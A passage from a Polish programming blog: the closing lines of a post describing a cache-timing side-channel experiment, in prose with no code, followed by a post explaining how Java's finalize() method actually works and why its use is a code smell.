Mierzymy czas dostępów, ten najkrótszy oznacza, że ten kawałek jest już w cache'u... czyli najpewniej ten znak się tam pojawił ;-)

Na moim i7-3610QM z Ubuntu najbliżej wypisuje się:
dhis is a secret string

Ogólnie stabilność znaków na końcu jest dużo wyższa, co pewnie znaczy, że trzeba by było trochę poczarować by nabrało to rumieńców ;-)

A sam mechanizm jest genialny....
Chociaż nie mam pojęcia jak odnajdywantom tego problemu udało się jeszcze czytać inne obszary pamięci, należące do Kernela i innych aplikacji..


Podobne postybeta
Niecne wykorzystanie refleksji... czyli jak poszukać tekstu w drzewie obiektów? ;-)
Zdradliwa Java i 8 królowych ;-)
Hackowanie odczytu danych Exif ;-)
Sztuczki tropiciela błędów ;-)
Potfór ;-) czyli generator z yield w Java'ie

środa, sierpnia 30, 2017

finalize() - do czego służy, a do czego nie i z czym to się je.

Przesłuchując kandydatów zadaję im czasem pytanie o finalize.
Odkryłem dzięki temu, że to jedno pytanie może z dużą dokładnością wykryć czy ktoś zaczął programować w Java'ie przed czy po 2010 roku ;-)

Wiele osób, które zaczęły programować w Java'ie po 2010 roku twierdzi, że finalize służy do uruchomienia GC*, albo nawet że ta metoda uruchamia GC dla tego jednego obiektu**.

W rzeczywistości finalize jest wołana przez specjalny wątek Finalizera***, który sprawdza czy obiekt spełnia warunki do bycia zabitym, jeśli tak to woła metodę finalize obiektu po czym sam Finalizer zapomina o obiekcie i ginie.

Metoda finalize daje obiektowi szansę na posprzątanie po sobie.
Słowem klucz jest "szansę" ;-)

Nie ma gwarancji, że zostanie uruchomiona****, nie ma gwarancji, że w razie zostanie uruchomiona to będzie uruchomiona tym samym ClassLoaderem, który ładował klasę, gdy poleci jakikolwiek wyjątek to zostanie on zignorowany i nie trafi nawet do loga.

Jeśli gdzieś w kodzie masz finalize to traktuj to jako code smell.
Nie każde użycie jest złe, ale zawsze warto się przyjrzeć bo często okaże się, że użycie finalize nie było dobrym pomysłem.

Co ciekawe czasem ktoś używa finalize żeby sprzątać bo chce oszczędzić pamięci... a w rzeczywistości tej pamięci więcej zużywa ;-) bo JVM trzyma cały wielki obiekt Finalizer dla każdego obiektu, który nadpisał metodę finalize*****.

To ostatnie jest ciekawe. Metoda finalize może być zawołana TYLKO na obiekcie stworzonym z klasy, która nadpisała metodę finalize.
Jeśli klasa ma metodę z Object to nie ma szans by finalize zostało zawołane..
To samo tyczy się enumów.
Nawet jeśli ktoś napisze finalize() dla enuma to też nigdy nie zostanie zawołana.

Podsumowując.

  • metoda finalize() nie woła GC,
  • może zostać zawołana dla obiektu, który nie ma już żadnej referencji poza tą w Finalizerze******,
  • można jej w rzadkich przypadkach użyć do sprzątania po obiekcie (czyli do zwolnienia jakichś zasobów, w domyśle ciężkich)




* - do tego służy System.gc() i to nie jest uruchomienie, a co najwyżej sugestia dla GC, że chcielibyśmy by się uruchomił.
** - co byłoby dość karkołomne zważywszy, że musimy mieć referencję do obiektu by móc na nim zawołać jakaś metodę ;-).
*** - uproszczenie, tak naprawdę Finalizer jest tworzony dla każdego obiektu, który nadpisze metodę finalize(), a później jest jeszcze wątek, który dba o to by uruchamiać co jakiś czas metodę z Finalizera jeśli wychodzi mu, że istnieje tylko 1 referencja do obiektu (ale przyznam, że tego kodu nie oglądałem :-)).
**** - Runtime.runFinalizersOnExit(true) może to "zagwarantować", sęk w tym, że dla wszystkich obiektów, nawet tych, które są jeszcze używane w trakcie zamykania aplikacji.
***** - sam kiedyś w jednym projekcie miałem OOM na produkcji i w końcu doszedłem do tego, że to przez to, że masa krótko żyjących obiektów miała metodę finalize i większość pamięci zjadały nam Finalizery :-)
****** - no chyba, że ktoś zawoła Runtime.runFinalizersOnExit(true), wtedy jest szansa, że w trakcie wychodzenia z aplikacji Finalizer spróbuje zawołać finalize na obiekcie, który jest jeszcze gdzieś używany.

Podobne postybeta
JBoss rozrabiaka ;-)
Samochód jako zmniejszacz temperatury.... GC i jak to możliwe, że Young Generation może być zbyt duże, strzeż się finalize() i muzyczka :-) Czyli potok świadomości....
Nieoczywiste oczywistości ;-) podstępny autoboxing ;-)
Enum zdradziecki jest ;-)
1096 dni...